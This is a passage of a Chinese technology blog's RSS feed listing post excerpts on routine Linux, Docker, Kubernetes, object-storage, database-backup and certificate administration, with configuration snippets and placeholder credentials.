MINIO_ACCESS_KEY=minio export MINIO_SECRET_KEY=miniostorage ./minio --certs-dir ${DIR}/certs server ${DIR}/data troubleshoot the ECDSA curve &amp;lsquo;P-384&amp;rsquo; is not supported ERROR Unable to load the</description></item><item><title>使用 s3cmd 为 cephfs 设置 policy</title><link>https://typonotes.com/posts/2020/11/12/s3cmd-policy-for-cephfs/</link><pubDate>Thu, 12 Nov 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/11/12/s3cmd-policy-for-cephfs/</guid><description>使用 s3cmd 为 cephfs rgw 设置 policy cephfs rgw 模式完全兼容 aws 的 s3v4 协议。 因此对 cephfs rgw 的日常管理， 可以使用 s3cmd 命令操作。 策略 配置策略 全局读策略 1 2 3 4 5 6 7 8 9 10 # cat public-read-policy.json { &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;, &amp;#34;Statement&amp;#34;: [{ &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;, &amp;#34;Principal&amp;#34;: &amp;#34;*&amp;#34;, &amp;#34;Action&amp;#34;: &amp;#34;s3:GetObject&amp;#34;, &amp;#34;Resource&amp;#34;: &amp;#34;*&amp;#34; }] } 设置策略 1 $ s3cmd setpolicy public-read-policy.json s3://example-bucket 查看 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $ s3cmd info s3://example-bucket s3://example-bucket/ (bucket): Location: default Payer: BucketOwner Expiration Rule: none policy: { &amp;#34;Version&amp;#34;: &amp;#34;2012-10-17&amp;#34;, &amp;#34;Statement&amp;#34;: [{ &amp;#34;Effect&amp;#34;: &amp;#34;Allow&amp;#34;, &amp;#34;Principal&amp;#34;: &amp;#34;*&amp;#34;, &amp;#34;Action&amp;#34;: &amp;#34;s3:GetObject&amp;#34;, &amp;#34;Resource&amp;#34;: &amp;#34;*&amp;#34;</description></item><item><title>使用 docker buildx 实现多平台编译 - 案例篇</title><link>https://typonotes.com/posts/2020/11/07/docker-buildx-examples/</link><pubDate>Sat, 07 Nov 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/11/07/docker-buildx-examples/</guid><description>使用 docker buildx 实现多平台编译 - 案例篇 之前的文章中 使用 docker buildx 实现多平台编译 - 环境篇 介绍了如何部署 docker buildx 环境。 笔者本文将要分享自身在使用中的几个比较有意义的案例 0x00 先说结论 docker buildx 本身运行于容器环境， 所以 scheduler 和 builder 本机配置（ex, /etc/hosts, /etc/docker/daemon.json ） 的大部分配置和场景 其实是不可用的。 使用 ssh://user@host 可以方便的执行远程构建， 尤其</description></item><item><title>Dockerfile 中 ARG 的使用与其的作用域探究</title><link>https://typonotes.com/posts/2020/11/06/dockerfiles-args-scope/</link><pubDate>Fri, 06 Nov 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/11/06/dockerfiles-args-scope/</guid><description>只有搞懂 Dockerfile 中的 ARG 作用域， 才能算 Build 镜像 CI 刚入门 之前我们讨论了 面试问 Dockerfile 的优化， 千万不要只会说减少层数 ， 详细说明 Dockerfile 的优化原理和操作方法， 给大家概括了 简单易记 的口诀。 今天， 我们继续来探讨一下， Dockerfile 中的另外一个利器 &amp;ndash; ARG。 如果说掌握 Dockerfile 的优化， 勉强算作读完秘籍的目录。 那只有 熟练 掌握了 ARG 的用法</description></item><item><title>tidb 备份恢复与迁移</title><link>https://typonotes.com/posts/2020/10/10/tidb-migrate/</link><pubDate>Sat, 10 Oct 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/10/10/tidb-migrate/</guid><description>tidb 备份恢复与迁移 https://pingcap.com/docs-cn/v2.1/reference/tools/download/ 1 wget https://download.pingcap.org/tidb-enterprise-tools-latest-linux-amd64.tar.gz 使用 mydumper 从 mysql/tidb 备份数据 https://pingcap.com/docs-cn/v2.1/how-to/maintain/backup-and-restore/ 使用 mydumper 备份 mydumper: https://github.com/maxbube/mydumper/releases 1 mydumper -h 127.0.0.1 -P 4000 -u root -t 32 -F 64 -B test -T t1,t2 --skip-tz-utc -o ./var/test 我们使用 -B test 表明是对 test 这个 database 操作，然后用 -T t1,t2 表明只导出 t1，t2 两张表。 -t 32 表明使用 32 个线程去导出数据。-F 64 是将实际的 table 切分成多大的 chunk，这里就是 64MB 一个 chunk。 --skip-tz-utc 添加这个参</description></item><item><title>使用 cfssl 自签证书</title><link>https://typonotes.com/posts/2020/05/28/cfssl/</link><pubDate>Thu, 28 May 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/05/28/cfssl/</guid><description>Generate self-signed certificates If you build Container Linux cluster on top of public networks it is recommended to enable encryption for Container Linux services to prevent traffic interception and man-in-the-middle attacks. For these purposes you have to use Certificate Authority (CA), private keys and certificates signed by CA. Let&amp;rsquo;s use cfssl and walk through the whole process to create all these components. NOTE: We will use basic procedure here. If your configuration requires advanced security options, please refer to official cfssl documentation. Download cfssl CloudFlare&amp;rsquo;s distributes cfssl source code on github page and binaries on cfssl website . Our documentation assumes that you will run cfssl on your local x86_64 Linux host. 1 2 3 4 5 mkdir ~/bin curl -s -L -o ~/bin/cfssl https://pkg.cfssl.org/R1.2/cfssl_linux-amd64 curl -s -L -o ~/bin/cfssljson https://pkg.cfssl.org/R1.2/cfssljson_linux-amd64 chmod +x ~/bin/{cfssl,cfssljson} export PATH=$PATH:~/bin Initialize a certificate authority</description></item><item><title>harbor 使用 s3v4 兼容模式对象存储保存数据</title><link>https://typonotes.com/posts/2020/04/26/harbor-with-s3-compatible-storage/</link><pubDate>Sun, 26 Apr 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/04/26/harbor-with-s3-compatible-storage/</guid><description>harbor使用 s3v4 兼容模式的对象存储数据 harbor v2.0.0 测试通过 qingcloud qingstor 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # The default data volume data_volume: /data # Harbor Storage settings by default is using /data dir on local filesystem # Uncomment storage_service setting If you want to using external storage # storage_service: # # ca_bundle is the path to the custom root ca certificate, which will be injected into the truststore # # of registry&amp;#39;s and chart repository&amp;#39;s containers. This is usually needed when the user hosts a internal storage with self signed certificate. # ca_bundle: #</description></item><item><title>gitlab 使用青云 qingstor 对象存储作为存储</title><link>https://typonotes.com/posts/2020/04/23/gitlab-storage-with-qingstor/</link><pubDate>Thu, 23 Apr 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/04/23/gitlab-storage-with-qingstor/</guid><description>gitlab 使用青云 qingstor 对象存储作为存储 使用 s3 compatible 模式， 腾讯云、阿里云、华为云、青云 都可以实现。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # https://docs.gitlab.com/ce/administration/job_artifacts.html gitlab_rails[&amp;#39;artifacts_enabled&amp;#39;] = true gitlab_rails[&amp;#39;artifacts_object_store_enabled&amp;#39;] = true gitlab_rails[&amp;#39;artifacts_object_store_remote_directory&amp;#39;] = &amp;#34;gitlab-storage-artifacts&amp;#34; gitlab_rails[&amp;#39;artifacts_object_store_connection&amp;#39;] = { # s3v4 compatible mode # https://gitlab.com/gitlab-org/charts/gitlab/-/blob/master/examples/objectstorage/rails.minio.yaml &amp;#39;provider&amp;#39; =&amp;gt; &amp;#39;AWS&amp;#39;, &amp;#39;region&amp;#39; =&amp;gt; &amp;#39;us-east-1&amp;#39;, &amp;#39;aws_access_key_id&amp;#39; =&amp;gt; &amp;#39;ACID_XXXXXXXXXXXXXXXXX&amp;#39;, &amp;#39;aws_secret_access_key&amp;#39; =&amp;gt; &amp;#39;ACKEY_YYYYYYYYYYYYYYYY&amp;#39;, &amp;#39;aws_signature_version&amp;#39; =&amp;gt; 4, &amp;#39;host&amp;#39; =&amp;gt; &amp;#39;s3.pek3b.qingstor.com&amp;#39;, &amp;#39;endpoint&amp;#39; =&amp;gt; &amp;#34;http://s3.pek3b.qingstor.com&amp;#34;, &amp;#39;path_style&amp;#39; =&amp;gt; true }</description></item><item><title>TiDB 2.1 备份恢复与迁移</title><link>https://typonotes.com/posts/2020/04/23/tidb-backup-migrate/</link><pubDate>Thu, 23 Apr 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/04/23/tidb-backup-migrate/</guid><description>TiDB 2.1 备份恢复与迁移 备份 https://pingcap.com/docs-cn/v2.1/how-to/maintain/backup-and-restore/ 使用 mydumper 备份 mydumper: https://github.com/maxbube/mydumper/releases 1 mydumper -h 127.0.0.1 -P 4000 -u root -t 32 -F 64 -B test -T t1,t2 --skip-tz-utc -o ./var/test 我们使用 -B test 表明是对 test 这个 database 操作，然后用 -T t1,t2 表明只导出 t1，t2 两张表。 -t 32 表明使用 32 个线程去导出数据。-F 64 是将实际的 table 切分成多大的 chunk，这里就是 64MB 一个 chunk。 --skip-tz-utc 添加这个参数忽略掉 TiDB 与导数据的</description></item><item><title>linux 创建本地源</title><link>https://typonotes.com/posts/2020/04/04/local-repo/</link><pubDate>Sat, 04 Apr 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/04/04/local-repo/</guid><description>linux 创建本地源 ubuntu 创建 local repo 将包放在 debs 目录下, 使用如下命令创建 私有仓库索引 1 2 3 cd /data/repo dpkg-scanpackages debs/ /dev/null |gzip &amp;gt; debs/Packages.gz centos 创建 local repo 将包放在 /data/repo/centos7 目录下, 使用如下命令创建 私有仓库索引 1 2 3 cd /data/repo/centos7 createrepo .</description></item><item><title>使用 lego 申请 let's encrypt 证书</title><link>https://typonotes.com/posts/2020/01/16/lego-lects-encrypt/</link><pubDate>Thu, 16 Jan 2020 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2020/01/16/lego-lects-encrypt/</guid><description>使用 lego 申请 let&amp;rsquo;s encrypt 证书 lego 是用来申请 let's encrypt 免费证书的, 现在支持多种验证方式。 以下是使用 alidns 解析验证。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 #!/bin/bash # # lego-letsencrypt.sh # cd $(dirname $0) which lego || { lego_ver=v3.7.0 wget -c https://github.com/go-acme/lego/releases/download/${lego_ver}/lego_${lego_ver}_linux_amd64.tar.gz -o lego.tar.gz tar xf lego.tar.gz cp -a lego /usr/local/bin/lego } DomainList=&amp;#34;*.example.com,*.example.org&amp;#34; EMAIL=&amp;#34;your@email.com&amp;#34; export ALICLOUD_ACCESS_KEY=LTAxxxxxx export ALICLOUD_SECRET_KEY=yyyyyyyyyyyyyyyyy Domains=&amp;#34;&amp;#34; for domain in ${DOMAINs//,/ } do { Domains=&amp;#34;${Domains} --domain=${domain}&amp;#34; }</description></item><item><title>calico 配置 BGP Route Reflectors</title><link>https://typonotes.com/posts/2019/12/10/calico-bgp-rr/</link><pubDate>Tue, 10 Dec 2019 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2019/12/10/calico-bgp-rr/</guid><description>calico 配置 BGP Route Reflectors Calico作为k8s的一个流行网络插件，它依赖BGP路由协议实现集群节点上的POD路由互通；而路由互通的前提是节点间建立 BGP Peer 连接。BGP 路由反射器（Route Reflectors，简称 RR）可以简化集群BGP Peer的连接方式，它是解决BGP扩展性问题的有效方式；具</description></item><item><title>calico 网络模型的简单笔记</title><link>https://typonotes.com/posts/2019/11/26/calico-simple-note/</link><pubDate>Tue, 26 Nov 2019 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2019/11/26/calico-simple-note/</guid><description>calico 简单笔记 calico 是一种基础 vRouter 的3层网络模型 (BGP 网络)。 在应用到 k8s 中，可以提到常见的 flannel。 使用节点主机作为 vRouter 实现 3层转发。 提高网络性能。 calico 的网络模型 calico 可以通过设置 IP-in-IP 控制网络模型: https://docs.projectcalico.org/v3.5/usage/configuration/ip-in-ip ipipMode=Never: BGP 模型。 完全不使用 IP-in-IP 隧道， 这就是常用的 BGP 模型。 ipipMode=Always: calico 节点直接通过 IP 隧道的的方式实现节点互通。 这实际</description></item><item><title>k8s nginx ingress 添加 x-forwarded</title><link>https://typonotes.com/posts/2019/08/10/nginx-ingress-x-forward/</link><pubDate>Sat, 10 Aug 2019 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2019/08/10/nginx-ingress-x-forward/</guid><description>ingress 配置 for-forward-for The client IP address will be set based on the use of PROXY protocol or from the X-Forwarded-For header value when use-forwarded-headers is enabled. https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#use-forwarded-headers https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/#forwarded-for-header 1 2 3 4 5 6 7 8 apiVersion: extensions/v1beta1 kind: Ingress metadata: name: srv-bff-op-center annotations: nginx.ingress.kubernetes.io/forwarded-for-header: &amp;#34;X-Forwarded-For&amp;#34; kubernetes.io/ingress.class: &amp;#34;nginx&amp;#34;</description></item><item><title>dokcer daemon.json</title><link>https://typonotes.com/posts/2019/04/24/docker-daemon-json/</link><pubDate>Wed, 24 Apr 2019 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2019/04/24/docker-daemon-json/</guid><description>docker daemon.json 配置文件 daemon.json 配置方式 Linux: /etc/docker/daemon.json Windows Server: C:\ProgramData\docker\config\daemon.json Docker for Mac / Docker for Windows: Click the Docker icon in the toolbar, select Preferences, then select Daemon. Click Advanced. daemon.json 配置 镜像加速器 1 2 3 4 5 6 7 8 9 // 配置一个 { &amp;#34;registry-mirrors&amp;#34;: [&amp;#34;https://registry.docker-cn.com&amp;#34;] } // 配置多个 { &amp;#34;registry-mirrors&amp;#34;: [&amp;#34;https://registry.docker-cn.com&amp;#34;,&amp;#34;https://docker.mirrors.ustc.edu.cn&amp;#34;] } 镜像加速器常用值： docker-cn 官方 : https://registry.docker-cn.com 中科大 : https://docker.mirrors.ustc.edu.cn 日志 1 2 3 4 { &amp;#34;debug&amp;#34;: true, &amp;#34;log-level&amp;#34;: &amp;#34;info&amp;#34; } log-level 的有效值包括: debug, info, warn, error, fatal 监控 Prometheus https://docs.docker.com/engine/admin/prometheus/#configure-docker 1 2 3 4 { &amp;#34;metrics-addr&amp;#34; : &amp;#34;127.0.0.1:9323&amp;#34;, &amp;#34;experimental&amp;#34; : true } 保持容器在线 https://docs.docker.com/engine/admin/live-restore/#enable-the-live-restore-option 当</description></item><item><title>关于 nginx uri 的截取</title><link>https://typonotes.com/posts/2019/04/23/nginx-uri/</link><pubDate>Tue, 23 Apr 2019 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2019/04/23/nginx-uri/</guid><description>关于 uri 的截取 location 中的 root 和 alias root 指令只是将搜索的根设置为 root 设定的目录，即不会截断 uri，而是使用原始 uri 跳转该目录下查找文件 alias 指令则会截断匹配的 uri，然后使用 alias 设定的路径加上剩余的 uri 作为子路径进行查找 示例 1： root #------------目录结构---------- /www/x1/index.html /www/x2/index.html #--------</description></item><item><title>TCP keepalive 探活机制</title><link>https://typonotes.com/posts/2019/04/19/tcp-keepalive/</link><pubDate>Fri, 19 Apr 2019 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2019/04/19/tcp-keepalive/</guid><description>TCP keepalive 探活机制 Content here 参考资料 tcp keepalive howto tcp 协议 syn 攻击 为什么基于TCP的应用需要心跳包</description></item><item><title>使用 Dockerfile 构建镜像注意事项</title><link>https://typonotes.com/posts/2019/03/26/how-to-build-a-image-with-dockerfile/</link><pubDate>Tue, 26 Mar 2019 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2019/03/26/how-to-build-a-image-with-dockerfile/</guid><description>面试问 Dockerfile 的优化， 千万不要只会说减少层数 在面试的时候， 我通常都会问「如果优化 Dockerfile」？ 面试的朋友大部分都会说 使用更小的基础镜像， 比如 alpine. 减少镜像层数， 使用 &amp;amp;&amp;amp; 符号将命令链接起来。 好一点的面试者 我会给基础镜像打上 安全补丁。 但这些都没说到点上。 优化 Dockerfile 的核心是 合理分层。 为什么要</description></item><item><title>golang-use-regex-group</title><link>https://typonotes.com/posts/2019/03/21/golang-use-regex-group/</link><pubDate>Thu, 21 Mar 2019 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2019/03/21/golang-use-regex-group/</guid><description>golang 使用 regex group 的值 与常用的语言正则不同， golang 使用 $1 表示 regex group。 而类似 sed, python 中常用的是 \1 golang playgroud 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package main import ( &amp;#34;fmt&amp;#34; &amp;#34;regexp&amp;#34; ) func main() { re := regexp.MustCompile(`([A-Z])`) s := re.ReplaceAllString(&amp;#34;UserCreate&amp;#34;, &amp;#34;.$1&amp;#34;) fmt.Println(s) // .User.Create } func Test_Regexp(t *testing.T) { chars := `(&amp;#39;|&amp;#34;)` str := `&amp;#34;123&amp;#39;abc&amp;#39;456&amp;#34;` re := regexp.MustCompile(chars) s := re.ReplaceAllString(str, `\$1`) // 这里可以使用 ` 反引号 fmt.Println(s) // \&amp;#34;123\&amp;#39;abc\&amp;#39;456\&amp;#34; } // https://stackoverflow.com/questions/43586091/how-golang-replace-string-by-regex-group python 1 2 3 import re name = re.sub(r&amp;#39;([A-Z])&amp;#39;, r&amp;#39;.\1&amp;#39;, &amp;#34;UserCreate&amp;#34;) print(name) # .User.Create</description></item><item><title>K8S 中使用 Heketi 管理 GlusterFS</title><link>https://typonotes.com/posts/2018/11/15/k8s-with-heketi/</link><pubDate>Thu, 15 Nov 2018 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2018/11/15/k8s-with-heketi/</guid><description>K8S 中使用 Heketi 管理 GlusterFS 与 官方文档不同 ， 本文中的 glusterfs 是独立与 k8s 之外的。 Heketi heketi 项目 为 GlusterFS 提供 RESTful 的 API 管理。 Requirements System must have glusterd service enabled and glusterfs-server installed Disks registered with Heketi must be in raw format. 目前提供两种管理方式: ssh, kubernetes heketi-ssh SSH Access SSH user and public key already setup on the node SSH user must have password-less sudo Must be able to run sudo commands from ssh. This requires disabling requiretty in the /etc/sudoers file 使用容器部署 https://hub.docker.com/r/heketi/heketi/ heketi-kubernetes 带实现 勘误 在使用 K8S 部署时， 如果客户端报错</description></item><item><title>K8S节点下载 gcr.io 原生镜像</title><link>https://typonotes.com/posts/2018/11/09/k8s-pull-image-from-gcr.io/</link><pubDate>Fri, 09 Nov 2018 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2018/11/09/k8s-pull-image-from-gcr.io/</guid><description>K8S下载 gcr.io 原生镜像 在国内是不能直接下载 gcr.io / k8s.gcr.io 等原生镜像的。 使用比较权威的三方源 aliyun , qcloud 将 gcr.io push 到 hub.docker.com 自建镜像代理 域名翻墙 域名翻墙 通过域名劫持，将目标地址直接解析到代理服务器上。 sniproxy 所有你需要的， 一个能直接访问 gcr.ip 的 https(443) 代理。 通过 sniproxy 实现。 通过 防火墙 , 安全组 限制访问来源。 1 2 # docker run -d --rm --network host --name sniproxy</description></item><item><title>docker multi-stage build</title><link>https://typonotes.com/posts/2018/10/30/docker-multi-stage-build/</link><pubDate>Tue, 30 Oct 2018 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2018/10/30/docker-multi-stage-build/</guid><description>Docker multi-stage build Multi-stage 构建，最大的好处是 Docker 本身在构建过程中提供了一个缓存空间，将上一个 stage 的结果通过 COPY --from=&amp;lt;stage&amp;gt; 复制到下一个 stage。 这样就大大简化了镜像清理工作。 这里， docker 官方文档已经对 Multi-stage build 已经有详细说明了。 multi-stage 要求 docker version &amp;gt;= 17.05 举例 每一个 FROM 关键字都表示此处是一个 stage 对 stage 使用命令的关键字是 as ， 例如 FROM alpine:latest as initer 在引用</description></item><item><title>Haproxy反向代理FTP</title><link>https://typonotes.com/posts/2018/10/29/ftp-proxy/</link><pubDate>Mon, 29 Oct 2018 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2018/10/29/ftp-proxy/</guid><description>Haproxy 反向代理 FTP 4层 代理 haproxy-1.5.18-7.el7.x86_64 #--------------------------------------------------------------------- # Example configuration for a possible web application. See the # full configuration options online. # # http://haproxy.1wt.eu/download/1.4/doc/configuration.txt # #--------------------------------------------------------------------- #--------------------------------------------------------------------- # Global settings #--------------------------------------------------------------------- global # to have these messages end up in /var/log/haproxy.log you will # need to: # # 1) configure syslog to accept network log events. This is done # by adding the &amp;#39;-r&amp;#39; option to the SYSLOGD_OPTIONS in # /etc/sysconfig/syslog # # 2) configure local2 events to go to the /var/log/haproxy.log # file. A line like the following can be added to # /etc/sysconfig/syslog # # local2.* /var/log/haproxy.log # log 127.0.0.1 local2 chroot /var/lib/haproxy pidfile /var/run/haproxy.pid maxconn 4000 user root group root daemon # turn on stats unix socket stats socket /var/lib/haproxy/stats #--------------------------------------------------------------------- # common defaults that all the &amp;#39;listen&amp;#39; and &amp;#39;backend&amp;#39; sections</description></item><item><title>k8s node 节点</title><link>https://typonotes.com/posts/2018/10/13/k8s-resource-node.md/</link><pubDate>Sat, 13 Oct 2018 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2018/10/13/k8s-resource-node.md/</guid><description>k8s node 节点介绍 node 是 k8s 的工作节点， cpu, memory 的提供者。 上面运行这实际工作的 pod。 node 的服务包括 container 环境、 kubelet 和 kube-proxy。 使用 kubectl 管理 node 基础语法为 : kubectl flag node &amp;lt;node_name&amp;gt; kubectl cordon / uncordon 1 2 3 4 # 驱逐 kubectl cordon node &amp;lt;node_name&amp;gt; # 恢复 kubectl uncordon node &amp;lt;node_name&amp;gt;</description></item><item><title>kubernetes POD 介绍</title><link>https://typonotes.com/posts/2018/10/13/k8s-object-pod.md/</link><pubDate>Sat, 13 Oct 2018 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2018/10/13/k8s-object-pod.md/</guid><description>k8s POD 介绍 POD 在 k8s 中是最小管理单位。</description></item><item><title>filebeat将多行日志视作一样的参数配置</title><link>https://typonotes.com/posts/2017/11/11/filebeat-multi-line/</link><pubDate>Sat, 11 Nov 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/11/11/filebeat-multi-line/</guid><description>filebeat 将多行日志视作一样的参数配置 在 filebeat 格式化日志是，可以配置 pattern 将多行日志合并成一样。 在配置文件 filebeat.yml 中，协同完成这个功能的参数有 4 个。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # The regexp Pattern that has to be matched. # 设置行的匹配字段 multiline.pattern: &amp;#39;^[[:space:]]|^[[:alpha:]]&amp;#39; # Defines if the pattern set under pattern should be negated or not. Default is false. # 设置符合上面匹配条件的的行，是否应该被合</description></item><item><title>Linux 下的几个命令行下载工具</title><link>https://typonotes.com/posts/2017/11/05/cli-download-tools-for-linux/</link><pubDate>Sun, 05 Nov 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/11/05/cli-download-tools-for-linux/</guid><description>Linux 下的几个命令行下载工具 linux 下最常用的 wget 是单线程的。虽然好用，但不够用。例如在下载阿里云的数据库备份文件，单线程最多能达到 10Mbps，即使是走内网。 因此，有必要换一下其他的。 axel https://github.com/axel-download-accelerator/axel axel 相较 wget 最大的优点就是支持多线程。 在 ubuntu 16.04 LST 上安装非常简单，已经加入了官方源。 CentOS 系列的话，就去 pkgs.org 上找到对</description></item><item><title>使用 sshpass 传递密码</title><link>https://typonotes.com/posts/2017/11/05/sshpass/</link><pubDate>Sun, 05 Nov 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/11/05/sshpass/</guid><description>使用 sshpass 传递密码 使用 sshpass 给 ansible 传递密码 1 2 3 4 5 $ sshpass -p &amp;#39;xxxxxxxx&amp;#39; ansible -i dsgl_domantic.py all -m ping --limit=1x.x.x.x0 -u root --ask-pass 1x.x.x.x0 | SUCCESS =&amp;gt; { &amp;#34;changed&amp;#34;: false, &amp;#34;ping&amp;#34;: &amp;#34;pong&amp;#34; } 将密码写入命令行中 1 sshpass -p &amp;#39;your_password_string&amp;#39; ssh 58.*.*.197 将密码写入变量中 1 2 export SSHPASS=&amp;#39;your_password_string&amp;#39; sshpass -e ssh 118.*.*.16 将密码写入文件中 1 2 3 echo &amp;#39;your_password_string&amp;#39; &amp;gt; sshpass.sec sshpass -f sshpass.sec ssh 118.*.*.16</description></item><item><title>MYSQL 导出用户权限脚本</title><link>https://typonotes.com/posts/2017/10/24/mysql-backup-user-grants/</link><pubDate>Tue, 24 Oct 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/10/24/mysql-backup-user-grants/</guid><description>MYSQL 导出用户权限脚本 分享一个抄来的 mysql 备份权限的脚本 。这个脚本最大的好处是通用，不用像之前那样备份 mysql.user 表而造成在不同 mysql 实例之间造成不必要的问题。 1 2 3 4 5 6 7 8 9 10 11 #!/bin/bash #Function export user privileges source /etc/profile pwd=your_password MYSQL_AUTH=&amp;#34; -uroot -p${pwd} -h127.0.0.1 --port=3306 &amp;#34; expgrants() { mysql -B ${MYSQL_AUTH} -N $@ -e &amp;#34;SELECT CONCAT(&amp;#39;SHOW GRANTS FOR &amp;#39;&amp;#39;&amp;#39;, user, &amp;#39;&amp;#39;&amp;#39;@&amp;#39;&amp;#39;&amp;#39;, host, &amp;#39;&amp;#39;&amp;#39;;&amp;#39;) AS query FROM mysql.user&amp;#34; | mysql ${MYSQL_AUTH} $@ | sed &amp;#39;s/\(GRANT .*\)/\1;/;s/^\(Grants for .*\)/-- \1 /;/--/{x;p;x;}&amp;#39; } expgrants &amp;gt; ./grants.sql http://www.cnblogs.com/huangmr0811/p/5570994.html</description></item><item><title>使用 docker-compose 发布 dokuwiki</title><link>https://typonotes.com/posts/2017/09/28/docker-compose-file-nginx-and-php-and-dokuwiki/</link><pubDate>Thu, 28 Sep 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/09/28/docker-compose-file-nginx-and-php-and-dokuwiki/</guid><description>使用 docker-compose 发布 dokuwiki 总结： php file not found: 因为 php 容器找不到 php 文件 将 dokuwiki 也映射到 php 容器即可 permission denied : 因为容器中跑 fpm 的 用户ID 与 本地用户ID 不同，从而导致容器无法修改 dokuwiki 目录中的文件。 创建 dockerfile 重新 build php 镜像，是二者 用户ID 一致即可。 php file not found 之前一直在同一台机器上配置 php 和 nginx ， 因此用来没注意到， php 程序需要对 nginx root 目录</description></item><item><title>LVS 基本信息介绍</title><link>https://typonotes.com/posts/2017/09/02/lvs-thoery/</link><pubDate>Sat, 02 Sep 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/09/02/lvs-thoery/</guid><description>LVS 介绍 本来想自己画图写介绍的，结果看了官网，里面的内容更详细更直接，所以就直接看 LVS 官网 中文 吧。 三种调度算法 NAT 模式: 网络地址转换 Network Address Translation TUN 模式: IP 隧道 IP Tunneling DR 模式: 直接路由 Direct Routing 更详细的介绍可以直接看官网 LVS集群中的IP负载均衡技术 这里简单的说一下三种模式的调度原理 NAT 模式 优点： RS 可以是</description></item><item><title>iptables 基础知识和基本用法</title><link>https://typonotes.com/posts/2017/08/31/iptables-basic-theory-and-useage/</link><pubDate>Thu, 31 Aug 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/08/31/iptables-basic-theory-and-useage/</guid><description>iptables 基础知识和基本用法 iptables传输数据包的过程 当一个数据包进入网卡时，它首先进入PREROUTING链，内核根据数据包目的IP判断是否需要转送出去。 如果数据包就是进入本机的，它就会沿着图向下移动，到达INPUT链。数据包到了INPUT链后，任何进程都会收到它。本机上运行的程</description></item><item><title>LVM 磁盘管理与在线扩容</title><link>https://typonotes.com/posts/2017/08/25/lvm-management-and-online-extend/</link><pubDate>Fri, 25 Aug 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/08/25/lvm-management-and-online-extend/</guid><description>LVM 磁盘管理与在线扩容 不上 LVM 的服务器都是耍流氓 在线扩容 通过 LVM 扩容的时候， 被扩容的逻辑卷 不需要重新格式化 被扩容的逻辑卷 不需要被 umount 被扩容的逻辑卷上的业务 不受影响 在执行 resize2fs 或 xfs_growfs 的时候，会有一定等待时间，属于正常显现。 虽然扩容还是很安全的，不过，有条件的话，最好还是进行必要的备份 扩容步骤 创建</description></item><item><title>怎么通过命令行方式向 mysql 数据库导入一个大型备份文件</title><link>https://typonotes.com/posts/2017/08/03/how-to-import-a-large-sql-dump-file-to-a-mysql-database-from-command-line/</link><pubDate>Thu, 03 Aug 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/08/03/how-to-import-a-large-sql-dump-file-to-a-mysql-database-from-command-line/</guid><description>怎么通过命令行方式向 mysql 数据库导入一个大型备份文件 接受了一个老项目，有个200多G 的文件需要恢复。里面有有几张记录日志的单表很大，在备份的时候没有使用 --extended-inster=False ， 因此，在使用 mysql database &amp;lt; file.sql 导入的时候，一不留神进程就死掉了。 google 了很久，最终得到以下答案 原文链接 ： https://cmanios.wordpress.com/2013/03/19/import-a-large-sql-dump-file-to-a-mysql-database-from-command-line/ 是通过在 mysql 交互界面中 source 文件的方式导入</description></item><item><title>为 linux 系统软件配置代理</title><link>https://typonotes.com/posts/2017/07/12/proxy-for-linux-software/</link><pubDate>Wed, 12 Jul 2017 00:00:00 +0000</pubDate><guid>https://typonotes.com/posts/2017/07/12/proxy-for-linux-software/</guid><description>为 linux系统软件配置 socks 和 http 代理 use sslocal to setup a socks5 proxy 1 2 3 4 pip install shadowsocks sslocal --help CENTOS 6 install privoxy https://superuser.com/questions/452197/how-to-install-privoxy-on-centos-6 1 2 3 4 5 6 7 8 9 10 11 12 13 # These commands are more easier and manageable wget http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm rpm -Uvh 